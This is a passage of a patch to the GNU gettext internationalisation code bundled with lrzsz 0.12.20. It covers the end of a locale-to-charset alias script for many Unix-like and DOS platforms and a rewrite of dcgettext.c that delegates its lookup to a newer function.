-+ for l in ko ko_KR; do
-+ echo "$l EUC-KR"
-+ done
-+ for l in th th_TH; do
-+ echo "$l TIS-620"
-+ done
-+ for l in fa fa_IR; do
-+ #echo "$l ISIRI-3342" # a broken encoding
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ ;;
-+ linux* | *-gnu*)
-+ # With glibc-2.1 or newer, we don't need any canonicalization,
-+ # because glibc has iconv and both glibc and libiconv support all
-+ # GNU canonical names directly. Therefore, the Makefile does not
-+ # need to install the alias file at all.
-+ # The following applies only to glibc-2.0.x and older libcs.
-+ echo "ISO_646.IRV:1983 ASCII"
-+ ;;
-+ aix*)
-+ echo "ISO8859-1 ISO-8859-1"
-+ echo "ISO8859-2 ISO-8859-2"
-+ echo "ISO8859-5 ISO-8859-5"
-+ echo "ISO8859-6 ISO-8859-6"
-+ echo "ISO8859-7 ISO-8859-7"
-+ echo "ISO8859-8 ISO-8859-8"
-+ echo "ISO8859-9 ISO-8859-9"
-+ echo "ISO8859-15 ISO-8859-15"
-+ echo "IBM-850 CP850"
-+ echo "IBM-856 CP856"
-+ echo "IBM-921 ISO-8859-13"
-+ echo "IBM-922 CP922"
-+ echo "IBM-932 CP932"
-+ echo "IBM-943 CP943"
-+ echo "IBM-1046 CP1046"
-+ echo "IBM-1124 CP1124"
-+ echo "IBM-1129 CP1129"
-+ echo "IBM-1252 CP1252"
-+ echo "IBM-eucCN GB2312"
-+ echo "IBM-eucJP EUC-JP"
-+ echo "IBM-eucKR EUC-KR"
-+ echo "IBM-eucTW EUC-TW"
-+ echo "big5 BIG5"
-+ echo "GBK GBK"
-+ echo "TIS-620 TIS-620"
-+ echo "UTF-8 UTF-8"
-+ ;;
-+ hpux*)
-+ echo "iso88591 ISO-8859-1"
-+ echo "iso88592 ISO-8859-2"
-+ echo "iso88595 ISO-8859-5"
-+ echo "iso88596 ISO-8859-6"
-+ echo "iso88597 ISO-8859-7"
-+ echo "iso88598 ISO-8859-8"
-+ echo "iso88599 ISO-8859-9"
-+ echo "iso885915 ISO-8859-15"
-+ echo "roman8 HP-ROMAN8"
-+ echo "arabic8 HP-ARABIC8"
-+ echo "greek8 HP-GREEK8"
-+ echo "hebrew8 HP-HEBREW8"
-+ echo "turkish8 HP-TURKISH8"
-+ echo "kana8 HP-KANA8"
-+ echo "tis620 TIS-620"
-+ echo "big5 BIG5"
-+ echo "eucJP EUC-JP"
-+ echo "eucKR EUC-KR"
-+ echo "eucTW EUC-TW"
-+ echo "hp15CN GB2312"
-+ #echo "ccdc ?" # what is this?
-+ echo "SJIS SHIFT_JIS"
-+ echo "utf8 UTF-8"
-+ ;;
-+ irix*)
-+ echo "ISO8859-1 ISO-8859-1"
-+ echo "ISO8859-2 ISO-8859-2"
-+ echo "ISO8859-5 ISO-8859-5"
-+ echo "ISO8859-7 ISO-8859-7"
-+ echo "ISO8859-9 ISO-8859-9"
-+ echo "eucCN GB2312"
-+ echo "eucJP EUC-JP"
-+ echo "eucKR EUC-KR"
-+ echo "eucTW EUC-TW"
-+ ;;
-+ osf*)
-+ echo "ISO8859-1 ISO-8859-1"
-+ echo "ISO8859-2 ISO-8859-2"
-+ echo "ISO8859-4 ISO-8859-4"
-+ echo "ISO8859-5 ISO-8859-5"
-+ echo "ISO8859-7 ISO-8859-7"
-+ echo "ISO8859-8 ISO-8859-8"
-+ echo "ISO8859-9 ISO-8859-9"
-+ echo "ISO8859-15 ISO-8859-15"
-+ echo "cp850 CP850"
-+ echo "big5 BIG5"
-+ echo "dechanyu DEC-HANYU"
-+ echo "dechanzi GB2312"
-+ echo "deckanji DEC-KANJI"
-+ echo "deckorean EUC-KR"
-+ echo "eucJP EUC-JP"
-+ echo "eucKR EUC-KR"
-+ echo "eucTW EUC-TW"
-+ echo "GBK GBK"
-+ echo "KSC5601 CP949"
-+ echo "sdeckanji EUC-JP"
-+ echo "SJIS SHIFT_JIS"
-+ echo "TACTIS TIS-620"
-+ echo "UTF-8 UTF-8"
-+ ;;
-+ solaris*)
-+ echo "646 ASCII"
-+ echo "ISO8859-1 ISO-8859-1"
-+ echo "ISO8859-2 ISO-8859-2"
-+ echo "ISO8859-3 ISO-8859-3"
-+ echo "ISO8859-4 ISO-8859-4"
-+ echo "ISO8859-5 ISO-8859-5"
-+ echo "ISO8859-6 ISO-8859-6"
-+ echo "ISO8859-7 ISO-8859-7"
-+ echo "ISO8859-8 ISO-8859-8"
-+ echo "ISO8859-9 ISO-8859-9"
-+ echo "ISO8859-15 ISO-8859-15"
-+ echo "koi8-r KOI8-R"
-+ echo "ansi-1251 CP1251"
-+ echo "BIG5 BIG5"
-+ echo "Big5-HKSCS BIG5-HKSCS"
-+ echo "gb2312 GB2312"
-+ echo "GBK GBK"
-+ echo "GB18030 GB18030"
-+ echo "cns11643 EUC-TW"
-+ echo "5601 EUC-KR"
-+ echo "ko_KR.johap92 JOHAB"
-+ echo "eucJP EUC-JP"
-+ echo "PCK SHIFT_JIS"
-+ echo "TIS620.2533 TIS-620"
-+ #echo "sun_eu_greek ?" # what is this?
-+ echo "UTF-8 UTF-8"
-+ ;;
-+ freebsd* | os2*)
-+ # FreeBSD 4.2 doesn't have nl_langinfo(CODESET); therefore
-+ # localcharset.c falls back to using the full locale name
-+ # from the environment variables.
-+ # Likewise for OS/2. OS/2 has XFree86 just like FreeBSD. Just
-+ # reuse FreeBSD's locale data for OS/2.
-+ echo "C ASCII"
-+ echo "US-ASCII ASCII"
-+ for l in la_LN lt_LN; do
-+ echo "$l.ASCII ASCII"
-+ done
-+ for l in da_DK de_AT de_CH de_DE en_AU en_CA en_GB en_US es_ES \
-+ fi_FI fr_BE fr_CA fr_CH fr_FR is_IS it_CH it_IT la_LN \
-+ lt_LN nl_BE nl_NL no_NO pt_PT sv_SE; do
-+ echo "$l.ISO_8859-1 ISO-8859-1"
-+ echo "$l.DIS_8859-15 ISO-8859-15"
-+ done
-+ for l in cs_CZ hr_HR hu_HU la_LN lt_LN pl_PL sl_SI; do
-+ echo "$l.ISO_8859-2 ISO-8859-2"
-+ done
-+ for l in la_LN lt_LT; do
-+ echo "$l.ISO_8859-4 ISO-8859-4"
-+ done
-+ for l in ru_RU ru_SU; do
-+ echo "$l.KOI8-R KOI8-R"
-+ echo "$l.ISO_8859-5 ISO-8859-5"
-+ echo "$l.CP866 CP866"
-+ done
-+ echo "uk_UA.KOI8-U KOI8-U"
-+ echo "zh_TW.BIG5 BIG5"
-+ echo "zh_TW.Big5 BIG5"
-+ echo "zh_CN.EUC GB2312"
-+ echo "ja_JP.EUC EUC-JP"
-+ echo "ja_JP.SJIS SHIFT_JIS"
-+ echo "ja_JP.Shift_JIS SHIFT_JIS"
-+ echo "ko_KR.EUC EUC-KR"
-+ ;;
-+ netbsd*)
-+ echo "646 ASCII"
-+ echo "ISO8859-1 ISO-8859-1"
-+ echo "ISO8859-2 ISO-8859-2"
-+ echo "ISO8859-4 ISO-8859-4"
-+ echo "ISO8859-5 ISO-8859-5"
-+ echo "ISO8859-15 ISO-8859-15"
-+ echo "eucCN GB2312"
-+ echo "eucJP EUC-JP"
-+ echo "eucKR EUC-KR"
-+ echo "eucTW EUC-TW"
-+ echo "BIG5 BIG5"
-+ echo "SJIS SHIFT_JIS"
-+ ;;
-+ darwin*)
-+ # Darwin 6.8 doesn't have nl_langinfo(CODESET); therefore
-+ # localcharset.c falls back to using the full locale name
-+ # from the environment variables.
-+ echo "C ASCII"
-+ for l in en_AU en_CA en_GB en_US la_LN; do
-+ echo "$l.US-ASCII ASCII"
-+ done
-+ for l in da_DK de_AT de_CH de_DE en_AU en_CA en_GB en_US es_ES \
-+ fi_FI fr_BE fr_CA fr_CH fr_FR is_IS it_CH it_IT nl_BE \
-+ nl_NL no_NO pt_PT sv_SE; do
-+ echo "$l ISO-8859-1"
-+ echo "$l.ISO8859-1 ISO-8859-1"
-+ echo "$l.ISO8859-15 ISO-8859-15"
-+ done
-+ for l in la_LN; do
-+ echo "$l.ISO8859-1 ISO-8859-1"
-+ echo "$l.ISO8859-15 ISO-8859-15"
-+ done
-+ for l in cs_CZ hr_HR hu_HU la_LN pl_PL sl_SI; do
-+ echo "$l.ISO8859-2 ISO-8859-2"
-+ done
-+ for l in la_LN lt_LT; do
-+ echo "$l.ISO8859-4 ISO-8859-4"
-+ done
-+ for l in ru_RU; do
-+ echo "$l.KOI8-R KOI8-R"
-+ echo "$l.ISO8859-5 ISO-8859-5"
-+ echo "$l.CP866 CP866"
-+ done
-+ for l in bg_BG; do
-+ echo "$l.CP1251 CP1251"
-+ done
-+ echo "uk_UA.KOI8-U KOI8-U"
-+ echo "zh_TW.BIG5 BIG5"
-+ echo "zh_TW.Big5 BIG5"
-+ echo "zh_CN.EUC GB2312"
-+ echo "ja_JP.EUC EUC-JP"
-+ echo "ja_JP.SJIS SHIFT_JIS"
-+ echo "ko_KR.EUC EUC-KR"
-+ ;;
-+ beos*)
-+ # BeOS has a single locale, and it has UTF-8 encoding.
-+ echo "* UTF-8"
-+ ;;
-+ msdosdjgpp*)
-+ # DJGPP 2.03 doesn't have nl_langinfo(CODESET); therefore
-+ # localcharset.c falls back to using the full locale name
-+ # from the environment variables.
-+ echo "#"
-+ echo "# The encodings given here may not all be correct."
-+ echo "# If you find that the encoding given for your language and"
-+ echo "# country is not the one your DOS machine actually uses, just"
-+ echo "# correct it in this file, and send a mail to"
-+ echo "# Juan Manuel Guerrero <st001906@hrz1.hrz.tu-darmstadt.de>"
-+ echo "# and Bruno Haible <bruno@clisp.org>."
-+ echo "#"
-+ echo "C ASCII"
-+ # ISO-8859-1 languages
-+ echo "ca CP850"
-+ echo "ca_ES CP850"
-+ echo "da CP865" # not CP850 ??
-+ echo "da_DK CP865" # not CP850 ??
-+ echo "de CP850"
-+ echo "de_AT CP850"
-+ echo "de_CH CP850"
-+ echo "de_DE CP850"
-+ echo "en CP850"
-+ echo "en_AU CP850" # not CP437 ??
-+ echo "en_CA CP850"
-+ echo "en_GB CP850"
-+ echo "en_NZ CP437"
-+ echo "en_US CP437"
-+ echo "en_ZA CP850" # not CP437 ??
-+ echo "es CP850"
-+ echo "es_AR CP850"
-+ echo "es_BO CP850"
-+ echo "es_CL CP850"
-+ echo "es_CO CP850"
-+ echo "es_CR CP850"
-+ echo "es_CU CP850"
-+ echo "es_DO CP850"
-+ echo "es_EC CP850"
-+ echo "es_ES CP850"
-+ echo "es_GT CP850"
-+ echo "es_HN CP850"
-+ echo "es_MX CP850"
-+ echo "es_NI CP850"
-+ echo "es_PA CP850"
-+ echo "es_PY CP850"
-+ echo "es_PE CP850"
-+ echo "es_SV CP850"
-+ echo "es_UY CP850"
-+ echo "es_VE CP850"
-+ echo "et CP850"
-+ echo "et_EE CP850"
-+ echo "eu CP850"
-+ echo "eu_ES CP850"
-+ echo "fi CP850"
-+ echo "fi_FI CP850"
-+ echo "fr CP850"
-+ echo "fr_BE CP850"
-+ echo "fr_CA CP850"
-+ echo "fr_CH CP850"
-+ echo "fr_FR CP850"
-+ echo "ga CP850"
-+ echo "ga_IE CP850"
-+ echo "gd CP850"
-+ echo "gd_GB CP850"
-+ echo "gl CP850"
-+ echo "gl_ES CP850"
-+ echo "id CP850" # not CP437 ??
-+ echo "id_ID CP850" # not CP437 ??
-+ echo "is CP861" # not CP850 ??
-+ echo "is_IS CP861" # not CP850 ??
-+ echo "it CP850"
-+ echo "it_CH CP850"
-+ echo "it_IT CP850"
-+ echo "lt CP775"
-+ echo "lt_LT CP775"
-+ echo "lv CP775"
-+ echo "lv_LV CP775"
-+ echo "nb CP865" # not CP850 ??
-+ echo "nb_NO CP865" # not CP850 ??
-+ echo "nl CP850"
-+ echo "nl_BE CP850"
-+ echo "nl_NL CP850"
-+ echo "nn CP865" # not CP850 ??
-+ echo "nn_NO CP865" # not CP850 ??
-+ echo "no CP865" # not CP850 ??
-+ echo "no_NO CP865" # not CP850 ??
-+ echo "pt CP850"
-+ echo "pt_BR CP850"
-+ echo "pt_PT CP850"
-+ echo "sv CP850"
-+ echo "sv_SE CP850"
-+ # ISO-8859-2 languages
-+ echo "cs CP852"
-+ echo "cs_CZ CP852"
-+ echo "hr CP852"
-+ echo "hr_HR CP852"
-+ echo "hu CP852"
-+ echo "hu_HU CP852"
-+ echo "pl CP852"
-+ echo "pl_PL CP852"
-+ echo "ro CP852"
-+ echo "ro_RO CP852"
-+ echo "sk CP852"
-+ echo "sk_SK CP852"
-+ echo "sl CP852"
-+ echo "sl_SI CP852"
-+ echo "sq CP852"
-+ echo "sq_AL CP852"
-+ echo "sr CP852" # CP852 or CP866 or CP855 ??
-+ echo "sr_CS CP852" # CP852 or CP866 or CP855 ??
-+ echo "sr_YU CP852" # CP852 or CP866 or CP855 ??
-+ # ISO-8859-3 languages
-+ echo "mt CP850"
-+ echo "mt_MT CP850"
-+ # ISO-8859-5 languages
-+ echo "be CP866"
-+ echo "be_BE CP866"
-+ echo "bg CP866" # not CP855 ??
-+ echo "bg_BG CP866" # not CP855 ??
-+ echo "mk CP866" # not CP855 ??
-+ echo "mk_MK CP866" # not CP855 ??
-+ echo "ru CP866"
-+ echo "ru_RU CP866"
-+ echo "uk CP1125"
-+ echo "uk_UA CP1125"
-+ # ISO-8859-6 languages
-+ echo "ar CP864"
-+ echo "ar_AE CP864"
-+ echo "ar_DZ CP864"
-+ echo "ar_EG CP864"
-+ echo "ar_IQ CP864"
-+ echo "ar_IR CP864"
-+ echo "ar_JO CP864"
-+ echo "ar_KW CP864"
-+ echo "ar_MA CP864"
-+ echo "ar_OM CP864"
-+ echo "ar_QA CP864"
-+ echo "ar_SA CP864"
-+ echo "ar_SY CP864"
-+ # ISO-8859-7 languages
-+ echo "el CP869"
-+ echo "el_GR CP869"
-+ # ISO-8859-8 languages
-+ echo "he CP862"
-+ echo "he_IL CP862"
-+ # ISO-8859-9 languages
-+ echo "tr CP857"
-+ echo "tr_TR CP857"
-+ # Japanese
-+ echo "ja CP932"
-+ echo "ja_JP CP932"
-+ # Chinese
-+ echo "zh_CN GBK"
-+ echo "zh_TW CP950" # not CP938 ??
-+ # Korean
-+ echo "kr CP949" # not CP934 ??
-+ echo "kr_KR CP949" # not CP934 ??
-+ # Thai
-+ echo "th CP874"
-+ echo "th_TH CP874"
-+ # Other
-+ echo "eo CP850"
-+ echo "eo_EO CP850"
-+ ;;
-+esac
---- lrzsz-0.12.20.safe/intl/dcgettext.c 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/dcgettext.c 2004-09-12 14:40:34.359747480 -0400
-@@ -1,593 +1,56 @@
--/* Implementation of the dcgettext(3) function
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+/* Implementation of the dcgettext(3) function.
-+ Copyright (C) 1995-1999, 2000-2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#include <sys/types.h>
--
--#ifdef __GNUC__
--# define alloca __builtin_alloca
--# define HAVE_ALLOCA 1
--#else
--# if defined HAVE_ALLOCA_H || defined _LIBC
--# include <alloca.h>
--# else
--# ifdef _AIX
-- #pragma alloca
--# else
--# ifndef alloca
--char *alloca ();
--# endif
--# endif
--# endif
--#endif
--
--#include <errno.h>
--#ifndef errno
--extern int errno;
--#endif
--#ifndef __set_errno
--# define __set_errno(val) errno = (val)
--#endif
--
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#else
--char *getenv ();
--# ifdef HAVE_MALLOC_H
--# include <malloc.h>
--# else
--void free ();
--# endif
--#endif
--
--#if defined HAVE_STRING_H || defined _LIBC
--# ifndef _GNU_SOURCE
--# define _GNU_SOURCE 1
--# endif
--# include <string.h>
--#else
--# include <strings.h>
--#endif
--#if !HAVE_STRCHR && !defined _LIBC
--# ifndef strchr
--# define strchr index
--# endif
--#endif
--
--#if defined HAVE_UNISTD_H || defined _LIBC
--# include <unistd.h>
--#endif
--
--#include "gettext.h"
- #include "gettextP.h"
- #ifdef _LIBC
- # include <libintl.h>
- #else
--# include "libgettext.h"
-+# include "libgnuintl.h"
- #endif
--#include "hash-string.h"
-
- /* @@ end of prolog @@ */
-
--#ifdef _LIBC
--/* Rename the non ANSI C functions. This is required by the standard
-- because some ANSI C functions will require linking with this object
-- file and the name space must not be polluted. */
--# define getcwd __getcwd
--# define stpcpy __stpcpy
--#else
--# if !defined HAVE_GETCWD
--char *getwd ();
--# define getcwd(buf, max) getwd (buf)
--# else
--char *getcwd ();
--# endif
--# ifndef HAVE_STPCPY
--static char *stpcpy PARAMS ((char *dest, const char *src));
--# endif
--#endif
--
--/* Amount to increase buffer size by in each try. */
--#define PATH_INCR 32
--
--/* The following is from pathmax.h. */
--/* Non-POSIX BSD systems might have gcc's limits.h, which doesn't define
-- PATH_MAX but might cause redefinition warnings when sys/param.h is
-- later included (as on MORE/BSD 4.3). */
--#if defined(_POSIX_VERSION) || (defined(HAVE_LIMITS_H) && !defined(__GNUC__))
--# include <limits.h>
--#endif
--
--#ifndef _POSIX_PATH_MAX
--# define _POSIX_PATH_MAX 255
--#endif
--
--#if !defined(PATH_MAX) && defined(_PC_PATH_MAX)
--# define PATH_MAX (pathconf ("/", _PC_PATH_MAX) < 1 ? 1024 : pathconf ("/", _PC_PATH_MAX))
--#endif
--
--/* Don't include sys/param.h if it already has been. */
--#if defined(HAVE_SYS_PARAM_H) && !defined(PATH_MAX) && !defined(MAXPATHLEN)
--# include <sys/param.h>
--#endif
--
--#if !defined(PATH_MAX) && defined(MAXPATHLEN)
--# define PATH_MAX MAXPATHLEN
--#endif
--
--#ifndef PATH_MAX
--# define PATH_MAX _POSIX_PATH_MAX
--#endif
--
--/* XPG3 defines the result of `setlocale (category, NULL)' as:
-- ``Directs `setlocale()' to query `category' and return the current
-- setting of `local'.''
-- However it does not specify the exact format. And even worse: POSIX
-- defines this not at all. So we can use this feature only on selected
-- system (e.g. those using GNU C Library). */
--#ifdef _LIBC
--# define HAVE_LOCALE_NULL
--#endif
--
--/* Name of the default domain used for gettext(3) prior any call to
-- textdomain(3). The default value for this is "messages". */
--const char _nl_default_default_domain[] = "messages";
--
--/* Value used as the default domain for gettext(3). */
--const char *_nl_current_default_domain = _nl_default_default_domain;
--
--/* Contains the default location of the message catalogs. */
--const char _nl_default_dirname[] = GNULOCALEDIR;
--
--/* List with bindings of specific domains created by bindtextdomain()
-- calls. */
--struct binding *_nl_domain_bindings;
--
--/* Prototypes for local functions. */
--static char *find_msg PARAMS ((struct loaded_l10nfile *domain_file,
-- const char *msgid));
--static const char *category_to_name PARAMS ((int category));
--static const char *guess_category_value PARAMS ((int category,
-- const char *categoryname));
--
--
--/* For those loosing systems which don't have `alloca' we have to add
-- some additional code emulating it. */
--#ifdef HAVE_ALLOCA
--/* Nothing has to be done. */
--# define ADD_BLOCK(list, address) /* nothing */
--# define FREE_BLOCKS(list) /* nothing */
--#else
--struct block_list
--{
-- void *address;
-- struct block_list *next;
--};
--# define ADD_BLOCK(list, addr) \
-- do { \
-- struct block_list *newp = (struct block_list *) malloc (sizeof (*newp)); \
-- /* If we cannot get a free block we cannot add the new element to \
-- the list. */ \
-- if (newp != NULL) { \
-- newp->address = (addr); \
-- newp->next = (list); \
-- (list) = newp; \
-- } \
-- } while (0)
--# define FREE_BLOCKS(list) \
-- do { \
-- while (list != NULL) { \
-- struct block_list *old = list; \
-- list = list->next; \
-- free (old); \
-- } \
-- } while (0)
--# undef alloca
--# define alloca(size) (malloc (size))
--#endif /* have alloca */
--
--
- /* Names for the libintl functions are a problem. They must not clash
- with existing names and they should follow ANSI C. But this source
- code is also used in GNU C Library where the names have a __
- prefix. So we have to make a difference here. */
- #ifdef _LIBC
- # define DCGETTEXT __dcgettext
-+# define DCIGETTEXT __dcigettext
- #else
--# define DCGETTEXT dcgettext__
-+# define DCGETTEXT libintl_dcgettext
-+# define DCIGETTEXT libintl_dcigettext
- #endif
-
- /* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
- locale. */
- char *
--DCGETTEXT (domainname, msgid, category)
-- const char *domainname;
-- const char *msgid;
-- int category;
-+DCGETTEXT (const char *domainname, const char *msgid, int category)
- {
--#ifndef HAVE_ALLOCA
-- struct block_list *block_list = NULL;
--#endif
-- struct loaded_l10nfile *domain;
-- struct binding *binding;
-- const char *categoryname;
-- const char *categoryvalue;
-- char *dirname, *xdomainname;
-- char *single_locale;
-- char *retval;
-- int saved_errno = errno;
--
-- /* If no real MSGID is given return NULL. */
-- if (msgid == NULL)
-- return NULL;
--
-- /* If DOMAINNAME is NULL, we are interested in the default domain. If
-- CATEGORY is not LC_MESSAGES this might not make much sense but the
-- defintion left this undefined. */
-- if (domainname == NULL)
-- domainname = _nl_current_default_domain;
--
-- /* First find matching binding. */
-- for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next)
-- {
-- int compare = strcmp (domainname, binding->domainname);
-- if (compare == 0)
-- /* We found it! */
-- break;
-- if (compare < 0)
-- {
-- /* It is not in the list. */
-- binding = NULL;
-- break;
-- }
-- }
--
-- if (binding == NULL)
-- dirname = (char *) _nl_default_dirname;
-- else if (binding->dirname[0] == '/')
-- dirname = binding->dirname;
-- else
-- {
-- /* We have a relative path. Make it absolute now. */
-- size_t dirname_len = strlen (binding->dirname) + 1;
-- size_t path_max;
-- char *ret;
--
-- path_max = (unsigned) PATH_MAX;
-- path_max += 2; /* The getcwd docs say to do this. */
--
-- dirname = (char *) alloca (path_max + dirname_len);
-- ADD_BLOCK (block_list, dirname);
--
-- __set_errno (0);
-- while ((ret = getcwd (dirname, path_max)) == NULL && errno == ERANGE)
-- {
-- path_max += PATH_INCR;
-- dirname = (char *) alloca (path_max + dirname_len);
-- ADD_BLOCK (block_list, dirname);
-- __set_errno (0);
-- }
--
-- if (ret == NULL)
-- {
-- /* We cannot get the current working directory. Don't signal an
-- error but simply return the default string. */
-- FREE_BLOCKS (block_list);
-- __set_errno (saved_errno);
-- return (char *) msgid;
-- }
--
-- stpcpy (stpcpy (strchr (dirname, '\0'), "/"), binding->dirname);
-- }
--
-- /* Now determine the symbolic name of CATEGORY and its value. */
-- categoryname = category_to_name (category);
-- categoryvalue = guess_category_value (category, categoryname);
--
-- xdomainname = (char *) alloca (strlen (categoryname)
-- + strlen (domainname) + 5);
-- ADD_BLOCK (block_list, xdomainname);
--
-- stpcpy (stpcpy (stpcpy (stpcpy (xdomainname, categoryname), "/"),
-- domainname),
-- ".mo");
--
-- /* Creating working area. */
-- single_locale = (char *) alloca (strlen (categoryvalue) + 1);
-- ADD_BLOCK (block_list, single_locale);
--
--
-- /* Search for the given string. This is a loop because we perhaps
-- got an ordered list of languages to consider for th translation. */
-- while (1)
-- {
-- /* Make CATEGORYVALUE point to the next element of the list. */
-- while (categoryvalue[0] != '\0' && categoryvalue[0] == ':')
-- ++categoryvalue;
-- if (categoryvalue[0] == '\0')
-- {
-- /* The whole contents of CATEGORYVALUE has been searched but
-- no valid entry has been found. We solve this situation
-- by implicitly appending a "C" entry, i.e. no translation
-- will take place. */
-- single_locale[0] = 'C';
-- single_locale[1] = '\0';
-- }
-- else
-- {
-- char *cp = single_locale;
-- while (categoryvalue[0] != '\0' && categoryvalue[0] != ':')
-- *cp++ = *categoryvalue++;
-- *cp = '\0';
-- }
--
-- /* If the current locale value is C (or POSIX) we don't load a
-- domain. Return the MSGID. */
-- if (strcmp (single_locale, "C") == 0
-- || strcmp (single_locale, "POSIX") == 0)
-- {
-- FREE_BLOCKS (block_list);
-- __set_errno (saved_errno);
-- return (char *) msgid;
-- }
--
--
-- /* Find structure describing the message catalog matching the
-- DOMAINNAME and CATEGORY. */
-- domain = _nl_find_domain (dirname, single_locale, xdomainname);
--
-- if (domain != NULL)
-- {
-- retval = find_msg (domain, msgid);
--
-- if (retval == NULL)
-- {
-- int cnt;
--
-- for (cnt = 0; domain->successor[cnt] != NULL; ++cnt)
-- {
-- retval = find_msg (domain->successor[cnt], msgid);
--
-- if (retval != NULL)
-- break;
-- }
-- }
--
-- if (retval != NULL)
-- {
-- FREE_BLOCKS (block_list);
-- __set_errno (saved_errno);
-- return retval;
-- }
-- }
-- }
-- /* NOTREACHED */
-+ return DCIGETTEXT (domainname, msgid, NULL, 0, 0, category);
- }
-
- #ifdef _LIBC
- /* Alias for function name in GNU C Library. */
-+INTDEF(__dcgettext)
- weak_alias (__dcgettext, dcgettext);
- #endif
--
--
--static char *
--find_msg (domain_file, msgid)
-- struct loaded_l10nfile *domain_file;
-- const char *msgid;
--{
-- size_t top, act, bottom;
-- struct loaded_domain *domain;
--
-- if (domain_file->decided == 0)
-- _nl_load_domain (domain_file);
--
-- if (domain_file->data == NULL)
-- return NULL;
--
-- domain = (struct loaded_domain *) domain_file->data;
--
-- /* Locate the MSGID and its translation. */
-- if (domain->hash_size > 2 && domain->hash_tab != NULL)
-- {
-- /* Use the hashing table. */
-- nls_uint32 len = strlen (msgid);
-- nls_uint32 hash_val = hash_string (msgid);
-- nls_uint32 idx = hash_val % domain->hash_size;
-- nls_uint32 incr = 1 + (hash_val % (domain->hash_size - 2));
-- nls_uint32 nstr = W (domain->must_swap, domain->hash_tab[idx]);
--
-- if (nstr == 0)
-- /* Hash table entry is empty. */
-- return NULL;
--
-- if (W (domain->must_swap, domain->orig_tab[nstr - 1].length) == len
-- && strcmp (msgid,
-- domain->data + W (domain->must_swap,
-- domain->orig_tab[nstr - 1].offset)) == 0)
-- return (char *) domain->data + W (domain->must_swap,
-- domain->trans_tab[nstr - 1].offset);
--
-- while (1)
-- {
-- if (idx >= domain->hash_size - incr)
-- idx -= domain->hash_size - incr;
-- else
-- idx += incr;
--
-- nstr = W (domain->must_swap, domain->hash_tab[idx]);
-- if (nstr == 0)
-- /* Hash table entry is empty. */
-- return NULL;
--
-- if (W (domain->must_swap, domain->orig_tab[nstr - 1].length) == len
-- && strcmp (msgid,
-- domain->data + W (domain->must_swap,
-- domain->orig_tab[nstr - 1].offset))
-- == 0)
-- return (char *) domain->data
-- + W (domain->must_swap, domain->trans_tab[nstr - 1].offset);
-- }
-- /* NOTREACHED */
-- }
--
-- /* Now we try the default method: binary search in the sorted
-- array of messages. */
-- bottom = 0;
-- top = domain->nstrings;
-- while (bottom < top)
-- {
-- int cmp_val;
--
-- act = (bottom + top) / 2;
-- cmp_val = strcmp (msgid, domain->data
-- + W (domain->must_swap,
-- domain->orig_tab[act].offset));
-- if (cmp_val < 0)
-- top = act;
-- else if (cmp_val > 0)
-- bottom = act + 1;
-- else
-- break;
-- }
--
-- /* If an translation is found return this. */
-- return bottom >= top ? NULL : (char *) domain->data
-- + W (domain->must_swap,
-- domain->trans_tab[act].offset);
--}
--
--
--/* Return string representation of locale CATEGORY. */
--static const char *
--category_to_name (category)
-- int category;
--{
-- const char *retval;
--
-- switch (category)
-- {
--#ifdef LC_COLLATE
-- case LC_COLLATE:
-- retval = "LC_COLLATE";
-- break;
--#endif
--#ifdef LC_CTYPE
-- case LC_CTYPE:
-- retval = "LC_CTYPE";
-- break;
--#endif
--#ifdef LC_MONETARY
-- case LC_MONETARY:
-- retval = "LC_MONETARY";
-- break;
--#endif
--#ifdef LC_NUMERIC
-- case LC_NUMERIC:
-- retval = "LC_NUMERIC";
-- break;
--#endif
--#ifdef LC_TIME
-- case LC_TIME:
-- retval = "LC_TIME";
-- break;
--#endif
--#ifdef LC_MESSAGES
-- case LC_MESSAGES:
-- retval = "LC_MESSAGES";
-- break;
--#endif
--#ifdef LC_RESPONSE
-- case LC_RESPONSE:
-- retval = "LC_RESPONSE";
-- break;
--#endif
--#ifdef LC_ALL
-- case LC_ALL:
-- /* This might not make sense but is perhaps better than any other
-- value. */
-- retval = "LC_ALL";
-- break;
--#endif
-- default:
-- /* If you have a better idea for a default value let me know. */
-- retval = "LC_XXX";
-- }
--
-- return retval;
--}
--
--/* Guess value of current locale from value of the environment variables. */
--static const char *
--guess_category_value (category, categoryname)
-- int category;
-- const char *categoryname;
--{
-- const char *retval;
--
-- /* The highest priority value is the `LANGUAGE' environment
-- variable. This is a GNU extension. */
-- retval = getenv ("LANGUAGE");
-- if (retval != NULL && retval[0] != '\0')
-- return retval;
--
-- /* `LANGUAGE' is not set. So we have to proceed with the POSIX
-- methods of looking to `LC_ALL', `LC_xxx', and `LANG'. On some
-- systems this can be done by the `setlocale' function itself. */
--#if defined HAVE_SETLOCALE && defined HAVE_LC_MESSAGES && defined HAVE_LOCALE_NULL
-- return setlocale (category, NULL);
--#else
-- /* Setting of LC_ALL overwrites all other. */
-- retval = getenv ("LC_ALL");
-- if (retval != NULL && retval[0] != '\0')
-- return retval;
--
-- /* Next comes the name of the desired category. */
-- retval = getenv (categoryname);
-- if (retval != NULL && retval[0] != '\0')
-- return retval;
--
-- /* Last possibility is the LANG environment variable. */
-- retval = getenv ("LANG");
